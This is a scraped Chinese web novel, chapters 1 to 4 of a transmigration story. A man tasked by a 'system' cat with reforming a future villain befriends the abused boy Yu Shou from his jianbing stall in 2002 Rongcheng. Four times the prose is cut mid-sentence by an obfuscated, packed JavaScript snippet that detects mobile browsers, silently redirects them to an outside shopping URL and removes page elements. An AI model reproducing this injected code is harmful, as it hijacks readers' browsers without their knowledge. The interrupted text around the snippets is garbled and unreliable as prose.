《穿到反派年少时》 1. 第 1 章 十月的蓉城,空气里桂花的香气浓得呛人。 另一种属于鸡蛋与面粉的焦香也不遑多让。这股味道在2002年的蓉城还很新奇——对于这座缺乏分明的四季、常年被湿气与工业废气笼罩的南方小城来说,它是来自遥远北方,陌生又美味的煎饼气息。 “你刚刚明明要送给虞守!为什么到我这就要收钱了?”那是一个满含怨气的男孩声音,细听还有股奇怪的口音。 “我哪送了?我送谁了?你哪只眼睛看见了?” 戴渔夫帽的摊主吐词字正腔圆,音色很清。那样好听的声音与调子,却尖锐带刺,对待小孩儿也毫不客气。 宽大的帽沿压住他略长的刘海,半遮眉眼。碎发中的鼻梁很高,最清晰的下巴跟德芙白巧克力似的,自带一种与蓉城格格不入的气场。 站在他旁边的小男孩身形微胖,哪怕从上往下看,那张脸依然圆嘟嘟的,嘴巴生气地撅起三尺高。 他伸出小胖手,用力指向巷子深处:“虞守!我看见了,也听见了!你刚才说那个煎饼做坏了,要送给他吃!!” 摊主终于有了动作,他拿起台子上一个包装好、加了鸡蛋里脊香肠肉松的“大满贯”煎饼,在小胖子灼热的目光中,狠狠咬了一大口。 “啊!!”小胖子发出痛苦的尖叫。 那顶宽大的渔夫帽终于掀高了些,碎发间露出一双恹恹的眼睛。 “叫什么叫?”摊主唇色偏淡,嘴角拉得平平的,一张一合间显得冷淡又刻薄,“刚才是刚才,现在是现在。现在我饿了,我吃了。” 他拿起小木棍,敲了敲摊前红底黄字的价目表: “原味不加料,三块一个。加里脊两块,加……”他突然卡住,探头去确认价格,却又像突然犯了懒,肩膀一耸,摆出“你爱买不买”的模样, “想吃什么自己选,但得付钱。” 小胖子顿时气炸了。他本就圆滚滚的肚子把校服撑得鼓鼓的,他瞪着眼睛,气势汹汹地掏了掏口袋,但掏完就一声不吭了。 他已经眼馋人家的煎饼数日,奈何零花钱不够,今天本要直接扭头回家,却因为摊主意外的“善行”看见了希望: 就在五分钟前,这瘦高摊主叫住了独来独往的虞守,说什么“小孩儿我煎饼做坏了,你要不要吃。”结果虞守只低着头加快了过路的速度,背影冷漠又孤峭。 十秒后,这小胖子就自动认领了“小孩儿”身份,兴冲冲地跑来要。谁知方才还热情的摊主瞬间变了脸,任他怎么撒泼耍赖、讲理质问,对方都油盐不进。 见过了希望的人越挫越勇,说什么也不肯就此放弃。 他围着煎饼摊转了一圈又一圈,颇有戏瘾似的,突然泄愤似地用力戳了戳“小明煎饼”的招牌: “你哪来的呀?这片区的人我都认识,没听说过什么卖煎饼‘小明’。还有你这煎饼,我只在网上看过,是……是那、那什么,北方的特产!你不是本地人吧?怎么还戴个帽子遮遮掩掩的?该不会是犯了事,南逃来的吧?” 说到底,他就是想白嫖一个煎饼。 小学生的言外之意很好懂,但成年人愿不愿意懂,乐不乐意顺着他,那是另一回事。 就在这时,从煎饼摊后面的花坛里跳下一只黑猫,它轻巧地落在小胖子面前,弓起背,张嘴露出一口尖牙:“喵——!” 小胖子被这突然窜出的猫吓了一跳,又莫名其妙挨了一声吼,再看那煎饼已被摊主吃了大半……算了。 “一看你就是外面来的,什么都不懂!好好的煎饼送给虞守……”他不甘心地哼哼几声,跑出去几步,才加大音量把剩下的话喊完,“——那还不如喂狗呢!” 明浔对着那黑猫招了招手。黑猫通人性地轻盈一跃,跳上了他的肩膀。 这猫看起来油光水滑,分量却不沉——毕竟那毛皮之下可不是什么有血有肉的“生物”,而是一个自称来自更高维世界的“系统”,全名“反派感化系统”。 明浔揉着它的黑毛叹气:“你说你化个猫型有什么用?你说小孩都拒绝不了猫猫狗狗,但你看虞守搭理你吗?连那小胖子都被你吓得,就差尿裤子了。” 他垂下眼睛,再拍两下猫屁股,有些忧郁地劝说:“乖,下次至少换个花色吧,比如那种屎黄色的肥猫就不错,不吓人。瞧着除了会偷吃我的煎饼,一无是处。” 系统当即不满地“喵嗷”了一声。 明浔是在车祸后遇见它的。 那时他的灵魂飘在半空,下面是自己血流成河的身体,一个散发着科技感光芒的半透明球体凭空出现在他面前,问他是否愿意接受任务,换取新的生命。 靠着“驰骋小说血海”多年的经验,他第一时间就悟道了:这是天命的召唤,是小说主角才有的金手指! 系统接下来的话更让他惊喜。 原来每本小说都是一个平行世界的投影,有的世界规规矩矩健康稳定,有的世界则被个别毒瘤搞得腥风血雨,系统身负改变后面这些世界的使命,竟要派他前去他追得如痴如醉的小说——《演技之巅》。 那是一本大男主成长小说,男主是个没爹没妈的小白菜,一路摸爬滚打,吃尽辛酸苦楚,最终靠着自己问鼎娱乐圈。 在这个金手指盛行的时代,这种一步一个脚印、稳扎稳打的主角凤毛麟角,也是明浔的“心头肉”,是他在小说世界里最疼惜的“云养崽”。 然而系统的下一句话,直接把他所有的期待和喜悦打回原形: “我是反派感化系统。绑定我,在两个关键节点感化反派,让他成为品行端正遵纪守法的好人,就可以间接改变男主——你‘儿砸’坎坷的人生啦!” 明浔的脸色顿时黑了:“你说那个心狠手辣、脑子有坑的神经病?” 系统的回答很平静:“如果你说的反派是虞守的话,那的确是他。” 虞守是这本小说里的头号反派。他做的那些事,不但拖累了男主的脚步,也间接伤害了很多人,甚至让一些人家破人亡。 但一个人之所以走上“恶”的不归路,定然与他的成长经历脱不了关系。 出于这样的考虑,系统决定把宿主投放到虞守的童年时期和少年时期的两个时间点,让他在成长关键期感受到爱和温暖,从而更改他一生的轨迹。 原著小说没有对虞守的童年多加描绘,只轻描淡写说他是“杀人犯的儿子”。 仿佛人可以坏得没有理由,仿佛“恶”的基因通过血脉遗传。 而小说所缺乏的设定,在这个真实的“平行世界”里却是一条当年轰动全国的重大新闻事件。 虞守一家来自遥远的北方乡镇,那里常年天寒地冻,是个落后的不毛之地。 虞守的父亲是个疲于奔命的出租车司机,母亲则困于服装厂的流水线,勉强维持生计,却也算是一家三口平安美满。 直到某天平静被打破。美貌的母亲遭到了服装厂厂长儿子的凌辱,她求助无门,遭到身心双重打击,最终绝望自尽。 虞守的父亲试图讨个公道,可他哪有能力和地头蛇抗衡?自然是不了了之。 盛怒之下,他决定以恶惩恶。一番精心谋划后,他干脆利落地将无法无天的厂长儿子,连同那对助纣为虐的爹妈一并收拾,酿成了惊天命案。事后他并未伏法,反倒带着孩子畏罪南逃。 在逃窜途中,他们被蓉城的警方围堵。走投无路时,虞父又挟持儿子作为人质。为了确保人质安全,他被远处的狙击手一枪击毙。 再后来,虞守被隐瞒身世送进了蓉城的孤儿院。 那会儿他已经六岁,记事了。 奈何他是个健康、清秀、聪明的男孩儿,在满是残疾智障和女孩儿的孤儿院里是实打实的“香饽饽”,没多久就被一对家底殷实的夫妇领了回去。 可那对夫妇不知从哪打听到了虞守的身世,本想着领个现成儿子光耀门楣,转头就吓得连滚带爬来孤儿院“退货”。孤儿院一番“大促销”,加上一个月三百块补助金,才让虞守被现在这对游手好闲的养父母领走。 虞守的身世在社区里渐渐传开,再加上他性子本就阴郁寡言,瞧着便不好亲近。于是在不少邻里眼里,这对养父母反倒像是什么维护社会治安的“大善人”,就算他们平日里沉迷牌桌、动辄酗酒动粗……那都不算事儿。 听完这番长篇大论,明浔只对系统说:“这世上可怜人千千万,与其可怜别人多管闲事,不如多可怜可怜自己。好歹他只是身世悲惨,我都英年早逝了。而你呢,你不但不可怜我,竟然还强迫死人上班!” 感化对象是明浔最讨厌的角色,系统清楚他心里肯定有些小情绪,便没再说这是他自愿选择的代价,只是不解地嘀咕:“我还以为,同样身为孤儿,你多少会有对虞守有一些共鸣。” 明浔不想继续这个话题,摆摆手说:“得了吧。” 他这辈子经历过两次车祸,第一次送走了爹妈,第二次送走了自己。 这特么什么和车的不解之缘啊!这次还来拯救出租车司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712384|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机的儿子了。 明浔努力乐观地想着。可到底忍不住仰头,长叹了声:“靠,该死的孽缘。” “宿主,你已经来了三天,却依然没能成功接触到虞守。现在该怎么办?” 系统突然发问。它的外形是一只黑猫,诡异的的人言只响在明浔一个人的脑中,仿佛某种“心电感应”。 说起这个,明浔就头疼。 第一次穿书,被安排在反派十岁的节点。为避免蝴蝶效应、引发后续剧情崩塌,系统给他安排的身份是一个无名无姓的纯路人——他以自己的身体,像个“伞包”一样被空投到了这个陌生世界里的蓉城。 按系统的说法,虞守的身世能在社区里传得沸沸扬扬,可见这小破地方邻里之间基本认识,再怎么也在街头打过照面。更何况蓉城人还有一股子独特口音。明浔思来想去,恐怕只有“外来小吃摊摊主”这个身份,最适合接近还在上小学的虞守。 学校门口的小摊竞争激烈、利益关系盘根错节,他就选在了虞守回家必经的这条小路上。这儿生意门可罗雀,他出摊也敷衍随性,因为他本就醉翁之意不在酒。 只是没想到,十岁的虞守已经显露出极其难搞的刺头本质。任他怎么搭讪示好、招数频出,那死小孩别说为他停留,连抬头看他一眼都不肯。 他本就对小说里的反派毫无感情,甚至可以说是恨得牙痒。就算亲身来到这个世界,看到有血有肉、瘦瘦小小、还有几分可怜相的小反派,他内心的波动也极其有限。 ——他只想早早完成任务,获得新生命,潇洒走人。 他支起一个“暂停营业”的牌子,坐到身后的破花坛边,思考起人生来。 “既然软的不吃,就别怪我不客气了。”他脑中这么想的,嘴上就直接念了出来,完全没有避着系统的意思。 黑猫顿时紧张地“嗷”一声,挥爪子提醒他:“你在想什么?你想做什么?别忘了你是来感化反派的!” “我知道,”明浔不以为意,“那不也得先‘碰到’他再说?否则你传我一招‘隔山打牛’啊?” 来到蓉城的第四天,掐着小学放学的点,明浔日益熟练地出摊。 他先敷衍了几个馋嘴的小学生,等到远远看见那条瘦瘦小小的身影出现,立刻收了那股无所谓的懒散劲儿,直起身子。 渔夫帽帽檐轻抬,目光蜻蜓点水地点了下缓慢走来的虞守,确认了他的方向和速度,明浔便收回视线,若无其事地继续摊煎饼。 有了前面三天的经历,虞守本能地想要避开这个古怪的煎饼摊主,可这是回家的必经之路,他别无选择,只能硬着头皮往前走。 他在十米外先观察了一会儿,确定那摊主没在看自己,而且那小胖子今天走得比他早,已经带着仅有的五毛零花钱在和摊主扯皮了。 虞守抓住这个机会,伶仃的双手抓紧破旧的书包带,闷头就冲了过去! 但他显然低估了明浔。一个肩宽腿长的成年人,一米八几的身高,只需余光就能把他的所有动作尽收眼底。 眼看他即将越过煎饼摊,明浔不紧不慢,腿一弯、一蹬—— 那破破烂烂的煎饼小推车,直接向斜前方滑出,“哐”一声,好巧不巧,让闷头跑路的小崽子一头撞上! 虞守撞得猝不及防,发出一声惊天动地的闷响。 他脑子都撞懵了。 回过神来,视线已经矮了大半。他发现自己坐在地上,双膝折起。而面前是被他撞歪的小摊,那用廉价塑料板搭成的台面,竟被他硬生生撞出了一个大坑! 小胖子被这巨响吓得一蹦三尺高,看一眼地上疑似惹祸的虞守,嘴巴张开又闭上。 然后他就见那摊主恶狠狠地把煎饼摊踹开,台上所有的调料罐子以及他的心脏都跟着一震。小胖子唯恐惹祸上身,终于一步三回头地溜了。 明浔压根没管那小胖子,踹开障碍,在虞守面前蹲了下来, 成年人修长的手指轻轻推了下渔夫帽沿,淡漠的眼神,毫无阻碍地落在狼狈不堪的小崽子身上。 撑在地上枯瘦的手,失去本色的白色校服,磨破的红色校裤膝盖,带着淤青的瘦削小脸……最后是那双充斥着警惕、愤怒、敌视、仇恨,并竭力掩藏着恐惶的眼睛。 虚张声势,外强中干。 活像只没毛的狼崽子。 “赔钱。”可他指着摊车那个破洞,仍旧毫无怜悯地说。 隔山打牛神功无人传授,好在他自悟了煎饼摊直击狼崽子。 2. 第 2 章 明浔默默打量着一头撞在自己推车上、跌坐在地两眼发直的小崽子。 “喂,小孩儿,傻了?”他故意拖着嗓子,再挥手重重拍了两下泡沫板残骸,“你撞到我的车了。看到了吗?这么大个坑!你得赔我。” 听到这话,虞守那双孩童的眼睛里的惊慌再也藏不住了。 明浔保持蹲姿,视线与他齐平,像是没看到他眼中的无措,继续慢悠悠地说:“哎……看你这校服破的,小胳膊腿儿瘦的,应该赔不起吧?” 说着故作苦恼地皱起眉,嘴角却勾起了半边,语气里似乎还带上了点幸灾乐祸,“哇,糟了,那你该怎么办?” 虞守死死抿住嘴唇。 明浔并不着急,前头三天他唯恐引起幼年反派惊觉,每次都只能遥遥地一瞥,屡屡搭讪未果却也不敢太过紧逼,一肚子的郁闷只有自己一人品尝。 碰瓷计划初有成效,他并不着急,先仔仔细细地观察观察再说。 先是裸露在外的脖颈和脚踝,一些陈旧的淤青和疤痕,然后是虞守的脸颊——右颊上,赫然有一道新鲜的擦伤,是刚才与推车碰撞两败俱伤的结果。 他盯了那道伤口几秒,从口袋里掏出一个创可贴,撕开,眼疾手快地“啪”一下贴在了虞守右颊伤处。 虞守压根没有反应的时间,脸颊上突然的陌生触感让他瞬间僵住。 反应过来时,那摊主已然退开站起,格外高挑的个头,雕像一样伟岸。 他刚才那样凶神恶煞,现在却贴了创可贴还不够,又从台子上拿起一个滚热喷香的里脊煎饼,居高临下地抛过来:“喏,这个,算我先贷款给你的,到时候新账旧账一起算。” 从天而降的煎饼贴着虞守的肚腹,烫意透过包装纸传来。但他依然不吭声,只是仰着头,像看又像瞪。 “听到了没?”明浔皱了下眉。 回应自己的仍是一片沉默。 脑海里系统的声音适时响起:“宿主,现在的反派因童年创伤伴有应激性语言障碍,他不会轻易开口说话。而且,这孩子自尊心极强,不愿让陌生人听到他现在不流畅的表达。” 系统毕竟是带着“感化任务”而来的,话自然说得好听,有种油滑不真诚的商人味道。简单翻译,虞守的创伤障碍简称结巴。 结巴这样的生理缺陷给反派悲惨的童年再添一笔,从外到内,全方位多角度地搓磨他的身心。让他身心痛苦,阴冷孤僻,自卑又自负,倔犟不合群。 ……感化难度可以说是百分之正无穷。 明浔看着眼前这个瘦小的秃毛狼崽子,面无表情地陷入忧郁。 虞守始终警惕地盯着他,没有任何动作,任由那煎饼躺在自己的怀里,一下一下灼着肚子上那层薄薄的皮。 确认明浔没有再动作的意思,犹豫再三,到底不敢不拿,他迅速把煎饼揣进宽大的校服里面,被烫得都抖了一下。 然后他慢慢站起来,全程保持着面对明浔的姿势,慎重地先倒退了几步,拉开足够的距离后,猝然转身,头也不回地跑掉了。 明浔靠着煎饼摊双手抱臂,目送他远去,懒洋洋的压根没有追的意思。 虞守跑进一栋墙壁掉皮的居民楼,沿着栏杆生锈的水泥楼梯往上。 那个女人早早开始了今天的麻将局,不到凌晨不会回家。 那个男人中午出去喝酒,他当时夹进门缝里的碎纸此时还在。 家里没人。 他这才开门进屋,灵活地躲进沙发和阳台之间的夹角。小小的空间里塞一床折得整齐的被褥和一个瘦小的十岁男孩,刚刚好。 他从衣服里拿出那个依然滚烫的煎饼,肚子立刻咕噜地叫了一声,带着刺疼而熟悉的抽搐。 但他只是皱了下眉,没太多额外的反应,更没有去咬那令他嘴巴疯狂分泌唾液的煎饼。他死死咬住嘴唇,克制着喉咙本能的吞咽,忽然摸到包装袋里似乎有异物。 他疑惑地掏出来,是一张折叠起来的小纸条。展开,上面是自由洒脱龙飞凤舞的字迹,他将脸凑近,再眯了眯眼,好不容易才全部认清: 【欠债证明】 看到此张纸条,说明你欠摊主修车费、医药费及煎饼钱若干,把自己卖了也还不上。 综合考虑后,从明日起,你需在每天放学后至“小明煎饼”陪同出摊两小时,打工还债。 期限不定。不看你表现,全看摊主心情。 落款处画了个简易的戴着渔夫帽的人头,看不到眼睛,就一抹不怀好意的歪嘴笑! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712385|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞守:“!?” 虞守:“……” 他瞪着那张纸条,牙关却慢慢松开了。 “哐当”一声巨响,突然从门口传来! 虞守迅速站起身,只觉一股浓烈的酒气猛扑向面门。 那一瞬间他的心跳都停了,两只手分别拿着煎饼和纸条,眼睁睁看着养父摇摇晃晃地出现在门口,那浑浊的眼睛,一下就盯上了他手里还没来得及吃的煎饼。 “小杂种!你吃什么好吃的呢?”养父打着酒嗝,“草!你该不会……是偷老子的钱买的吧?!” 说着就踉跄着扑过来,伸手要抢。 虞守身体瞬间绷紧,眼里的慌乱和仇恨一闪而逝,他没说话也没有躲,呈现出一种唯唯诺诺任打任骂的姿态,蜷缩起来,拳脚还没落下,他已经提前用交叉的双臂死死护住头脸。 但两只手里拿着的东西,一样也没放。 养父一边骂骂咧咧地抬脚踹他,一边伸手粗暴地抢夺煎饼,只是呼吸间,就将他旧伤未愈的手臂掐出新的青紫。 十岁的小孩,任他怎么倔犟顽强,满腔孤愤与仇恨,在醉酒的成年男人面前也没有分毫抗衡之力。 疼痛让虞守生理性地颤抖,内心却很平静。他早就学到了能够降低伤痛的方法。他清楚反抗只会让暴力变本加厉,清楚只要忍忍就过去了。没什么大不了的。 但煎饼被那只手抓住时,他眼中迅速闪过一抹光。 男人注意力转移的瞬间,向来隐忍的男孩猛地抬起头,张大嘴露出一口尖牙,如同被逼到绝境彻底激发兽性的野狼,狠狠一口咬在了男人的手背! “啊!!!” 男人发出一声杀猪般的嚎叫,剧痛中下意识松开了钳制。 虞守趁机挣脱,他想都没想,将那个掉落在地的煎饼连同包装袋,一把甩在了男人扭曲的脸上!油脂和面饼糊了他一脸,同时也挡住了他的视线。 男人被烫得破口大骂。 机会! 就在这混乱间隙,虞守眼神一扫,飞快捞起那张差点被踩脏的写着“欠债证明”的小纸条。 然后他看也没看身后气急败坏的男人,像一道瘦小却精干的闪电,冲出家门,一路狂奔,转眼便消失在了昏暗的巷尾。 3. 第 3 章 来到蓉城的第五天,一直磨蹭到下午,明浔才三心二意地出摊,一心一意地等待黑石小学放人。 桂花的花期似乎很短,眨眼的时间,那股甜腻的桂花香就淡了,掺进一些清冷潮湿的气息。 明浔像是被这冷淡的天气抽走了筋骨,懒洋洋地靠在推车旁。 不远处一颗大榕树下,几个社区里的大爷大妈在石桌旁围成一圈,边打扑克边闲聊,声音被秋风送进明浔耳朵里。 “……老匡家那个,虞守,啧,杀人犯留下来的种……”一个女声带着点看热闹的同情,“要不是收养他能拿笔补助,哪对夫妻能要他?当出气筒呢,动不动就拳打脚踢……” 这话引来几声附和与叹息。 但很快,另一个声音插了进来:“话也不能这么说,好歹给了口饭吃,没让他流落街头,算是仁至义尽了!你觉得可怜,你带回家养去啊?” 先前那为虞守说话的妇女立刻噤声,忙乱地拨弄手里的牌。 见这边人多,一个穿着颧骨高耸的中年妇女骂骂咧咧地朝这边走来,她嗓门洪亮,像是生怕别人听不见:“气死我了!我们屋里那个讨债鬼,居然偷我男人的钱!我男人教训他两句,他厉害了,反口就咬人,然后跑了!一晚上没回来!真是养不熟的白眼狼!” 她喋喋不休地抱怨着,周围人神色各异。 终于有个妇女出头安慰:“哎,莫生气,家和万事兴。我刚听我崽说,看见虞守今天去学校了。” 高颧骨女人一听,非但没放心,反而瞬间炸了:“什么?!他还有脸去上学!?” “义务教育。” 一个冷淡的年轻男人声音,轻飘飘却如有千钧地落下。 明浔拿着块抹布漫不经心地擦着台面:“谁不乐意,找国家说去呗。” 高颧骨女人被噎住,瞪了半天眼,奈何不敢和成年男人正面抗衡,最后就啐了一口,边走边指桑骂槐:“外地来的脑壳坏掉了,多管闲事……说不定跟那小子是一路货!” 这人自然就是虞守那个浸淫牌桌多年、靠着低保和孤儿补助金度日的养母了。 放学的时间已经过了好一会儿,今天没有夕阳,居民楼的窗灯一盏接一盏亮了起来,空气里飘起五花八门的饭菜香,还有力压群雄的呛人辣椒味儿。 “咳咳——统儿,”明浔揉了揉鼻子,撸着黑猫后背,眼睛一直望着黑石小学的方向,“你说,那小崽子今天还会来‘还债’吗?” 与此同时,一街之隔的阴暗巷子里。 虞守被几个高他半头的五六年级男生死死堵在墙角,推搡之间,他的手肘蹭过粗糙的水泥墙面,立刻传来一阵火辣辣的刺痛,可他只是死死咬住下唇,一声不吭。 “知道我们为什么找你吗?”带头的那个男生一把揪住他的衣领,“知道错了吗?装什么哑巴?还想找打!?” 虞守的睫毛颤动了一下,却依旧紧闭着嘴,视线垂向地面。 忽然,一道影子悄无声息地投了过来,轻轻地碰到他的视线。 虞守愕然抬头,只见那高大的煎饼摊主不知何时出现在了巷口。他的目光穿过这片混乱,迎上虞守的,安安静静地,像是在等待虞守开口解释或求助。 但虞守只是看了一眼,眼睫颤了颤,又低下头,用沉默对抗一切。 明浔在心里叹了口气。眼看着一个拳头就要砸在虞守脸上,他终于提步走了过去:“干嘛呢!” 那几个大孩子骂骂咧咧地回头,看看明浔成年人的外形和那张没表情的冷脸,互相对视一眼,就悻悻地散了。 虞守依旧缩在墙角,抱着用来抵挡拳脚的书包。 明浔没再看他,转身走出巷子回到摊前,动作熟练地摊了个煎饼,加了双倍鸡蛋里脊和火腿。为了照顾小崽子脆弱的身体,特意没放辣。 他用油纸仔细包好,套上赶紧的塑料袋,然后走回去,放在巷口一块还算干净的石头上。然后他又退回摊位,假装忙碌地收拾起东西。 巷子那边彻底安静下来,远处自行车的铃声清脆又模糊。 过了很久,久到明浔以为小崽子不会要那个煎饼了,墙角的身影忽地动了一下——虞守飞快地冲过来,一把抓起那个热乎乎的煎饼,头也不回地跑了出去! 速度快得像一阵风,似是半点留恋也无! 明浔:“……” 靠!这小崽子!之前是不理人,现在竟然拿了吃的就跑!? 他感觉自己的感化事业惨遭滑铁卢。 然而这次,虞守并没有跑远。 蓉城是丘陵地形,他一路狂奔,冲上一个长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712386|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的坡道,然后掉头,沿着杂草丛生的红土路一路往前走,鼻腔里,那被他甩在身后的煎饼香味,渐渐地又浓郁了起来。 他的脚步慢下。 他谨慎地挪到小路边缘,借着几丛杂乱疯长的竹子和桂花树作为掩护,向着下方眺望。 ——那个叉腰站在煎饼摊后的青年,他依然戴着那个深灰色的渔夫帽,碎发偏长带点凌乱的卷,身上穿一件宽松的牛仔蓝外套,黑色长裤,黯淡低调,却依然与周围灰扑扑的环境并不相融。 虞守站在高处的土坡,就像昨天明浔观察他那样,一眨不眨,盯着对方。 好一会儿,他忍不住再凑近几步,蹲下来,双手撑地尽量靠近泥路边缘,视线越过那排杂乱的树,看到下方煎饼摊的全貌:掉了瓷砖的小花坛上还趴着那只慵懒的黑猫,黑猫前方是青年低头忙碌的背影。 从侧面看,青年的五官很立体,鼻梁特别高,不像任何一个他见过的蓉城人。反而……像他晚上蜷缩在客厅角落,盖着薄被单的时候,偶尔透过别人家窗户,偷偷瞥见的电视里的明星。 他暗中琢磨着,眼睛紧紧盯着,又忍不住嗅了手里香气诱人的煎饼好几次,终于下定决心,飞快地啃了一口。 柔软的面饼、喷香的鸡蛋和火腿瞬间征服了他的味蕾,像是打开了什么开关,他再也顾不得其他,三两下就囫囵将整个煎饼吞下,烫得直抽气也顾不上。 吃饱后,他从口袋里掏出那张皱巴巴的“欠债证明”,指尖反复摩挲着那些细小的皱褶,紧绷的小脸上满是犹豫。 纠结时他突然闻到一丝糊味,只见下面的明浔撸猫入神,电饼铛上正烙着的煎饼边缘开始冒起细微的白烟…… 虞守迅速爬起来,先是着急地转了个圈,再左右四顾,最后灵机一动从桂花树上摘下一小簇满是桂花的花枝,感受了下它沉甸的分量,扬手,朝着煎饼摊的方向用力扔了出去。 金黄色的细小花瓣簌簌飘落,颇具美感,但树枝好巧不巧地……敲在了青年的渔夫帽顶! 虞守:“!” 下面猝然传来一声带着惊怒的粗口:“我靠!谁砸我?!” 抢在明浔抬头之前,虞守“扑通”一声就又趴了下来,把自己藏在路沿的杂草的后面,本就脏兮兮的校服又蹭了一身新的泥灰。 4. 第 4 章 明浔视线扫过身后那堵土墙。 那是早年开发时凿山留下的陡峭断面,上方是一条没有护栏的土路,偶尔还有踩三轮的惊险驶过,带起一阵尘土。 他眯了眯眼,要是刚才真有人在上头,一不小心哐当飞下来,恐怕能连着他和这煎饼摊一起,来个“一尸三命”。 但他没看到人影。 目光回落,他捡起那支桂花,手指抚过断口,很明显是慢动作掰断所留下的粗糙痕迹。 是人干的。 心中隐隐有了个猜测,但他什么也没说,只是面无表情地将桂花枝揣进了牛仔衬衫胸口的口袋。然后他把煎糊的煎饼铲掉,动作麻利地收摊,再顺手拍了拍黑猫的肥屁股:“走了,统儿。” 系统看着他衣兜里那根断枝:“你留这种破烂干什么?” 明浔推着车,闻言懒洋洋地回了一句:“以后抽小崽子用。” 系统:“……” 一人一猫沿着渐暗的街道往回走。黑猫系统跟在明浔身后半步,优雅地踩着猫步,突然,它一个纵身,轻盈地跃上了明浔的肩头。 就在它落稳的瞬间,明浔脑中响起了一个压抑不住的激动声音:“虞守!他来了!他在后面跟着你!” 这破统儿的猫形态,总算起了点作用。 明浔嘴角弯了一下,没有接话,甚至连一瞬间的停顿都没有,依旧保持着之前的步调和姿态,无事发生般继续往前走。 直到暂住的那栋老旧居民楼出现在视野里,他才在脑中接过话:“要是刚才我回应了你,或者回头看了一眼,指定把那小崽子原地吓跑,你信不信?” 系统后知后觉意识到自己差点坏事,忙把身体压得更低,紧紧趴在明浔肩头,不敢再动。 早已暴露的虞守就像一道小小的影子,一路尾随,保持着自以为安全的距离,利用墙角和树木的阴影隐藏自己,并默默观察着那个推着煎饼摊的高挑背影。 他一直跟到明浔住的居民楼,却只停在楼外,仿佛那扇锈迹斑斑的老旧铁门是一面无形的结界,那便是人间,而他身处地狱。 他被阻拦在外,看着明浔在一楼楼梯后充满灰尘的昏暗空间放好摊车,再看着那个背影走进楼道,消失,又在一层半的拐角处出现,露出一个渔夫帽,又消失,又出现,一层一层,盘旋而上。 声控灯随着脚步声逐层亮起,又接连熄灭,光影在楼梯拐角明灭不定。顶层的楼道灯灭了之后,便不再亮了。 最后,一扇挂着碎花窗帘的格子窗户,透出昏黄而安稳的光线。 虞守就那样静静地站在楼下,仰着头,看了很久。 很好。 不但是个犟种、偷饼小贼,现在又多了个小跟踪狂的属性?果然是反派胚子,从童年开始就不一般…… 明浔一路心里吐槽,姿态自然地上楼,开门,再以极其缓慢的速度一点一点关上门,一点一点……直到他终于忍不住嘀咕出声:“嗯?” 他等了又等,门外始终没有任何响动。那小崽子没跟上来。 根据他今天听来的八卦,昨天虞守似乎把他那混球养父得罪狠了,一晚上没回家,今晚说不定还要在外面流浪……竟然不跟上来? 明浔不无遗憾地“啧”一声,还是关上了门。 第二天是周末,从早上起来就天空阴沉,空气湿漉漉的,正光明正大地酝酿着一场秋雨。那些仍在枝头怒放的桂花,恐怕要遭殃了。 明浔双手撑在粗糙的木质窗沿,探头望了好一会儿,他不确定这次会不会又是一趟无用功,但还是推着摊车出了门。 刚到摆摊附近的路口,他就看到了那个缩在拐角处自以为很隐蔽的瘦小身影。明浔配合地视而不见,同时还把地上的肥猫捞了起来,警告它一声“嘘”。 等明浔搭好摊子,虞守这才慢慢地转悠过来,最后在摊位前几步远的地方停住,既不继续靠近,也不离开。 明浔注意到他比昨天更脏了,头发灰扑扑地纠结在一起,不由心里暗叹:“这小崽子,这两天不知道在哪个桥洞或者墙角窝着睡的?” 虞守依旧不主动靠近,突然走开了,过会儿,却又走了回来。就像野生的狼崽子在高原上盘旋观察陌生的入侵者。但明浔只觉得很滑稽,这显然更像第一次做人的倔驴,明明只有他一个人在操场上跑八百,却偏要倔犟地兜最大的那个圈。 明浔突然自言自语起来:“哎,今天这炉火有点猛啊……”他故意用手背碰了一下滚烫的铛沿,小题大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712387|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做地“嘶”一声,然后自然地拿出一小支全新的活血化瘀药膏,“还好我有常备药膏。” 